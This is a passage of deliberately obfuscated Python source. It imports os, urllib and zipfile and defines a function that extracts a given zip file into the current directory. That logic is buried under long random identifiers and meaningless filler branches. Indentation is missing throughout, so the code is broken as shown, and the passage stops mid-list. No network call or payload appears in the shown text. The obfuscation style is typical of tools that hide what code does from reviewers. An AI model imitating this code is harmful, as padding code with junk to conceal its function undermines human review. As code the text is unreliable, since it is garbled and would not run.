OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp = 'QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln'
elif OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp == QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln:
QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln = SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE
else:
SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln
else:
SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF
import os
FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ = 'ISFIAYAHwkEFiuONGFHqRAtVFXzyJDtHjzsFBnBESqBnIJkQIzDIwvAtglMGsPM'
kSLEWpRHeRXUHOBLWwhyBoezpFXPujFAJFCgirJRrjDFByXCgDGFyjvUzHwvJqH = 'yYmHmHmzHsESAFBzIDzIMQvkYvAcJFrQJuEmGdvsFktmJekdGIBqARfxZHERxm'
if FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ != kSLEWpRHeRXUHOBLWwhyBoezpFXPujFAJFCgirJRrjDFByXCgDGFyjvUzHwvJqH:
FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ = 'yYmHmHmzHsESAFBzIDzIMQvkYvAcJFrQJuEmGdvsFktmJekdGIBqARfxZHERxm'
kSLEWpRHeRXUHOBLWwhyBoezpFXPujFAJFCgirJRrjDFByXCgDGFyjvUzHwvJqH = FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ
FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ = 'ISFIAYAHwkEFiuONGFHqRAtVFXzyJDtHjzsFBnBESqBnIJkQIzDIwvAtglMGsPM'
import urllib
try:
EGGqVAoyFyPEHzxIGGxhJMCtHOvkRrCrOIoPAAEPrnuIRHvCPSUyGCGwsoCHtZI = 'TwOHNBAzVIyApyEDswDXBpQpOnECDHQWyouDxtuDolVxiszGyvxOyqzAAJFESCH'
ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv = 'xrIokGHUrFQECFJGQIGreCbIGWEmtoCcvENBAkGwBOuFZIBJIiMZIJCqVSpzmou'
GpItWGNvDEzHwFurCqBQnHEGAVoBqwInGSSUFEHbJxPuvIUqHemFDweuepgGEF = 'WrtuSGlSwnuszYqDRBGIEIfExoPQNgNmJIBPDiDBvDQQRHALxMuMkJHyHiADJRC'
BIuwFnluzoQzttQzSDDHurryGrSlBAIuREYnjWhRGuvjzGWuorrIJsRFvVqzIt = 'mgSgFIsuJsszAyeDxjFEjOfEeFDLnENdJoPkBHRXFQyCIGkKyRqIONJuGpzxqDW'
OPYEHPQySvnyHDtBFyADSDyEtJOjnnZDdyHsOUrCQoxSHPGOGTSSJoCFYBDFlxY = 'RAvGyqIYEvRyaRlLFEuBFZGgFRAMHXRFhrnEstrJIGRqCvCmHOFyrGVWGBwQGqu'
HRqYPRrlVPzYhVxFUszQQEPIyolQuFSvxFjEVtOSEAxESYENOCDfBBOJAIeWhDS = 'olGrlGNGEHmFaSIJZfHhuhPRQPEHEwDCGRynRfFFKsBJQJNDRpNGUEwooQOIxCx'
xJeGJRCpEDFVvNfOQSPHyCqHtQGDMPJuxyctBSZzSxZsyDoPBCEIvShCPykICgG = [
'TwOHNBAzVIyApyEDswDXBpQpOnECDHQWyouDxtuDolVxiszGyvxOyqzAAJFESCH',
'WrtuSGlSwnuszYqDRBGIEIfExoPQNgNmJIBPDiDBvDQQRHALxMuMkJHyHiADJRC',
'RAvGyqIYEvRyaRlLFEuBFZGgFRAMHXRFhrnEstrJIGRqCvCmHOFyrGVWGBwQGqu',
'wtJEzDGzFFnyZAEzoASGSDJDqRRvTBuNxGvONTOhzmVuqCmUjxlJPuIYxQCuSJA'
]
for EGGqVAoyFyPEHzxIGGxhJMCtHOvkRrCrOIoPAAEPrnuIRHvCPSUyGCGwsoCHtZI in HRqYPRrlVPzYhVxFUszQQEPIyolQuFSvxFjEVtOSEAxESYENOCDfBBOJAIeWhDS:
for ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv in GpItWGNvDEzHwFurCqBQnHEGAVoBqwInGSSUFEHbJxPuvIUqHemFDweuepgGEF:
if BIuwFnluzoQzttQzSDDHurryGrSlBAIuREYnjWhRGuvjzGWuorrIJsRFvVqzIt == OPYEHPQySvnyHDtBFyADSDyEtJOjnnZDdyHsOUrCQoxSHPGOGTSSJoCFYBDFlxY:
ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv = EGGqVAoyFyPEHzxIGGxhJMCtHOvkRrCrOIoPAAEPrnuIRHvCPSUyGCGwsoCHtZI
elif OPYEHPQySvnyHDtBFyADSDyEtJOjnnZDdyHsOUrCQoxSHPGOGTSSJoCFYBDFlxY == ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv:
ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv = HRqYPRrlVPzYhVxFUszQQEPIyolQuFSvxFjEVtOSEAxESYENOCDfBBOJAIeWhDS
else:
OPYEHPQySvnyHDtBFyADSDyEtJOjnnZDdyHsOUrCQoxSHPGOGTSSJoCFYBDFlxY = HRqYPRrlVPzYhVxFUszQQEPIyolQuFSvxFjEVtOSEAxESYENOCDfBBOJAIeWhDS
for ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv in xJeGJRCpEDFVvNfOQSPHyCqHtQGDMPJuxyctBSZzSxZsyDoPBCEIvShCPykICgG:
GpItWGNvDEzHwFurCqBQnHEGAVoBqwInGSSUFEHbJxPuvIUqHemFDweuepgGEF = ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv
except Exception:
pass
import zipfile
pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz = 'YwRNIFoCyIFsvxqBxzNIizeFErorSeRCyETvlMHhQAvGzJHCTTAFHyJHYpmvuA'
GAJJHCfIPPpEDxJNFBKkESuVsuSGtmWoetIBCRQDFfFxquwErPRXWrYFthMYq = 'SCJHNPvSnzDEFmpgxAAvYEwjtEyCJpsCPvkwEIGjMeztOcEpetJDvDGOGCCvOTJ'
if pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz != GAJJHCfIPPpEDxJNFBKkESuVsuSGtmWoetIBCRQDFfFxquwErPRXWrYFthMYq:
pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz = 'SCJHNPvSnzDEFmpgxAAvYEwjtEyCJpsCPvkwEIGjMeztOcEpetJDvDGOGCCvOTJ'
GAJJHCfIPPpEDxJNFBKkESuVsuSGtmWoetIBCRQDFfFxquwErPRXWrYFthMYq = pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz
pRfQPSuyEkJHHREfWDAISPZcZHHqFWxRSJAxyIFuRtuwiDMADrEHEoCJvGUHEDz = 'YwRNIFoCyIFsvxqBxzNIizeFErorSeRCyETvlMHhQAvGzJHCTTAFHyJHYpmvuA'
def GDksjjtSttQJGqJCSHBpJxAJSRDrJIDqHDEJwJyFDxQMvxxSnWJyzVqRauBigxx(f):
if os.path.isfile(f):
BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC = 'IuUNGGDSRMJJONSAdyHnDBJCHPFInpMpoBnRHBswnUHEAzpDQDZxPQGQJMXFqvw'
swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe = 'JnHFgzHtJFCHkVqCSPHxUROkQIOEFYJzrjPUtnCJLNtCwQpxknoQDQzIGQhLFGI'
IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq = 'BIwmUvRUnICHGRSBPDpWwuCjFkEYGENFyGgtOsvHpQGnFPDHOVXJPtDAHwwvomJ'
VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA = 'PGXxBiRHDpIahBHrZhOIRqQCAAcymGBRewrqutGQGArBiDDOrImANqVSDyOvFIF'
if swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe == BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC:
for BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC in swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe:
if swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe == swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe:
IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq = 'VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA'
elif IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq == VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA:
VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA = BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC
else:
BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC = swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe
elif IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq == IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq:
for IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq in swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe:
if VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA == swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe:
IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq = 'VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA'
elif IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq == VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA:
VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA = BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC
else:
BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC = swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe
for IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq in swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe:
if VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA == swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe:
IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq = 'VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA'
elif IInLDOuBGIugDcwRqyTJtCzEwwHIsEIuFAAwOSGFAXlBXLQOmtDvRRAnVoIjYqq == VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA:
VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA = BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC
else:
BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC = VkSunIsluImAGHQyuSPnJBRsHDlHpRDnQEQxjSPIQnCpOPkEDPwSsFCpGyXtnDA
else:
BFTWhJQuxPSJOnOzxBtyFCDPAnSwZyBnLNrDvCBwQHqlFSEHzouTwBPxsGmyyrC = swLOGmkDkANORWuuRGwLIxzTmQOVRyAxzOAGFAiSCLRNVsOGyRCxkysoOqfHpwe
try:
QSIQyROWSEtyORKvEEpFtKFtWiJDICQtBPEFSPJIvFIERwOwQzZBGthntRWiFP = 'sGEwJnInsEEqPPyRwdxCEdDtQqJwQJpSEGMzHQtNGWSIABHyEDDGOSuTgIFnSSS'
pEESmIHpRmnRTgIsSSzrCLSgkFJNBJZOFMtuXFGppPdQIFPBjYxwyrzRozMGZGh = 'RQsZioyJzzCKrNBFGuiLizOUHvUIDpuRIGCGwPFYHEMBJFSDuCVcIEJpGkSwiJS'
rHjBBJxqpPEnuSjCDVIzoHEQqGBOEruhxJxGjDsgJqTEGtJPOHISRqBZHeJxHSi = 'gmoAGyKwGAotIZiCFupyvQNSxCwSsvEwQDmIfBMPvrFFAvDOUACNwJtrIONJrMS'
if QSIQyROWSEtyORKvEEpFtKFtWiJDICQtBPEFSPJIvFIERwOwQzZBGthntRWiFP == pEESmIHpRmnRTgIsSSzrCLSgkFJNBJZOFMtuXFGppPdQIFPBjYxwyrzRozMGZGh:
rHjBBJxqpPEnuSjCDVIzoHEQqGBOEruhxJxGjDsgJqTEGtJPOHISRqBZHeJxHSi = 'gmoAGyKwGAotIZiCFupyvQNSxCwSsvEwQDmIfBMPvrFFAvDOUACNwJtrIONJrMS'
rHjBBJxqpPEnuSjCDVIzoHEQqGBOEruhxJxGjDsgJqTEGtJPOHISRqBZHeJxHSi = QSIQyROWSEtyORKvEEpFtKFtWiJDICQtBPEFSPJIvFIERwOwQzZBGthntRWiFP
else:
rHjBBJxqpPEnuSjCDVIzoHEQqGBOEruhxJxGjDsgJqTEGtJPOHISRqBZHeJxHSi = 'gmoAGyKwGAotIZiCFupyvQNSxCwSsvEwQDmIfBMPvrFFAvDOUACNwJtrIONJrMS'
rHjBBJxqpPEnuSjCDVIzoHEQqGBOEruhxJxGjDsgJqTEGtJPOHISRqBZHeJxHSi = 'sGEwJnInsEEqPPyRwdxCEdDtQqJwQJpSEGMzHQtNGWSIABHyEDDGOSuTgIFnSSS'
with zipfile.ZipFile(f) as zf:
wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv = 'sBtvGgGVqRGkYpIVwoZuCllBAnGHZBuyQDwoIPBzMzQYGsCASCHwKINzCxCOAPE'
FKffspJwnTawGkDqRemOGHjGDqGBEeHBHmzCsytLIJRRvnRgYzGmMxImSGRyQSD = 'PyjrtJtwZDGJAsSCEzElsBxvZySGTZRRiZGINHVfiJhpwwRDQrUqSmGqEGNPsZY'
tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA = 'DSCjHBGUEyCzPIEODCLQuSQJuCxNfuImyCnFezsRvzZpoJCDIZDDQtICnEmBxGx'
ySuoYORsoPQrBJzqXQDLpRyXRUSySRADCqRMzITGZeqFCpRSETQePXJpGvuySgC = 'oNrCeBvIJupSjIJGGUSTRSHHHQDMpByxtOfSRynmEcxQYFfjSEqPzMDzFGPqSFR'
DOCoCDNGitCXAjAzoDwTPypxYWRkECNoCMsjIEJEnHDOiPxvEkXEFwPBPzISuDv = 'mBsZtkPRrrgJSXBzQJJDDkMBCRSBjOMqPJVVVzBqSGFMrSjNOjBDGIyuBpHBKxS'
IpPJJLUDEEtJNCyRrHSYIsRFHsmzFBmMIGnFBEPxFriJDSUqEByPABNHDFDJlrD = 'psEQziCEPHrJSzWBGSpREbxsSSBQTNsvnVtLXDtGIvSJzJGRDJFpEECISwDSPBF'
if wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv != ySuoYORsoPQrBJzqXQDLpRyXRUSySRADCqRMzITGZeqFCpRSETQePXJpGvuySgC:
FKffspJwnTawGkDqRemOGHjGDqGBEeHBHmzCsytLIJRRvnRgYzGmMxImSGRyQSD = tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA
for IpPJJLUDEEtJNCyRrHSYIsRFHsmzFBmMIGnFBEPxFriJDSUqEByPABNHDFDJlrD in ySuoYORsoPQrBJzqXQDLpRyXRUSySRADCqRMzITGZeqFCpRSETQePXJpGvuySgC:
if IpPJJLUDEEtJNCyRrHSYIsRFHsmzFBmMIGnFBEPxFriJDSUqEByPABNHDFDJlrD != tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA:
FKffspJwnTawGkDqRemOGHjGDqGBEeHBHmzCsytLIJRRvnRgYzGmMxImSGRyQSD = FKffspJwnTawGkDqRemOGHjGDqGBEeHBHmzCsytLIJRRvnRgYzGmMxImSGRyQSD
else:
DOCoCDNGitCXAjAzoDwTPypxYWRkECNoCMsjIEJEnHDOiPxvEkXEFwPBPzISuDv = wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv
else:
tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA = wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv
wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv = DOCoCDNGitCXAjAzoDwTPypxYWRkECNoCMsjIEJEnHDOiPxvEkXEFwPBPzISuDv
if tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA == wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv:
for IpPJJLUDEEtJNCyRrHSYIsRFHsmzFBmMIGnFBEPxFriJDSUqEByPABNHDFDJlrD in wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv:
if IpPJJLUDEEtJNCyRrHSYIsRFHsmzFBmMIGnFBEPxFriJDSUqEByPABNHDFDJlrD == tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA:
tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA = wDCQHNPysEUxyWmCQGrXRHDrzvIJMGMSGBPscIwUtBuOBPgGCwZuUFDLsHxBAuv
else:
tzIGDuGFQIoFeosqjVvPppCGBBRquRHwSeuztsOQaqGRqzxQAQOSInFrExQPsDA = DOCoCDNGitCXAjAzoDwTPypxYWRkECNoCMsjIEJEnHDOiPxvEkXEFwPBPzISuDv
zf.extractall('.')
return 'File {} extracted.'.format(f)
except zipfile.BadZipfile:
rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC = 'QorrrYCsuquwNFOIgJlFJAXrtsLImHoPyJOxPIrIudFnFxBuSSvIAFbJAwRXkPj'
IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu = 'mHAsWCpIQtoBqBZkrzHExwVItDFJQBDrwmIEzyQqyRsEmPuQrGJPOhLtySrqxRG'
VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw = 'iAASIEuCjDVGxETwOsATABbEBuFPiyiDXvWQSsBztURJjFqzevZsZCNxELHZvts'
OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC = 'otJzCrMzFJHJurHJHwPMwzoONJFBRnrMIoEuSOIPuEBGzvYrHMAOIIDCtIxuypG'
if IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu == rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC:
for rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC in IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu:
if IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu == IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu:
VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw = 'OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC'
elif VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw == OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC:
OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC = rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC
else:
rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC = IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu
elif VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw == VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw:
for VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw in IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu:
if OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC == IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu:
VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw = 'OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC'
elif VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw == OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC:
OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC = rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC
else:
rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC = IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu
for VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw in IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu:
if OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC == IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu:
VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw = 'OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC'
elif VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw == OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC:
OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC = rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC
else:
rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC = OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC
else:
rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC = IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu
return 'Error: Failed to GDksjjtSttQJGqJCSHBpJxAJSRDrJIDqHDEJwJyFDxQMvxxSnWJyzVqRauBigxx file.'
else:
try:
IDZADQHQsJIGHRmsybSFjjEiRrPvQHIuRhRNAEBzCBZUIyizAmlwVGRIRIxywvw = 'WnMnyHutfGRxEDPpVURvjCuFHplMbpBxrzQIDFoIuFAFNirzJZoQGaFzORDhqBo'
FJSJUFRstXryDCyytzXSOrHzOmzBEFFRrqzkyFmRSAJHCELuRJEzWwsOhFHkySx = 'XEqnGvGBCGpwQCFCnJISSDweuECROHPIoxHQuRGvxLxEDGxltOHWJzpGvlZFrDY'
SvEoPDmsIFyCRPRJoTQDFxhHsDZCOQmohLAGZxJIAplJRjmSFwxuHFLDrzmGJJH = 'pzREqCGBxIEOtGKwCnXtOBxBQHgoxBuvFGOqRoHDQDvHFJRGCBFAxwQtFHIvGup'
ipEJIbJBpMeRJxrGlQwFyDHtxPHAFEoSOJFJGhxDJCAIXVkxCIOACHICnksBJQy = 'IRCUGySzgCAnTRAIpvHoRfGAGHFDtcQoEGmFCvUAXqNyEmnvRJIEwJJHDiRRHzL'
ARFDJFAIRUZCSHEyAGCRmHUnjuFtxCCRdFUukRGGAvTEDCzrRAaWuuEESlh = 'qxvFVeJzqhGJzlJIGrxqBJDFODyIvrsSCBFwICAvwkvqQBVaAqFDuQJSxHvrHiB'
HvjBGqEJHURvEzHAdXnuvxFGBSViHIzHmrHSMqJtFMHGmSsCHvlSupqUrwmHsGq = 'QSPRgdQwZEaDmjJeIRqStxzzOzhYBXRQAplwkoBrxlWvqENJqCSBstJRmJxrwte'
SQCTVEBSoIWzJfzFCvVoBDIzjqBgEsJHqwGoByumNuqIysWsCRYADzqTGRPtkCy = [
'WnMnyHutfGRxEDPpVURvjCuFHplMbpBxrzQIDFoIuFAFNirzJZoQGaFzORDhqBo',
'pzREqCGBxIEOtGKwCnXtOBxBQHgoxBuvFGOqRoHDQDvHFJRGCBFAxwQtFHIvGup',
'qxvFVeJzqhGJzlJIGrxqBJDFODyIvrsSCBFwICAvwkvqQBVaAqFDuQJSxHvrHiB',
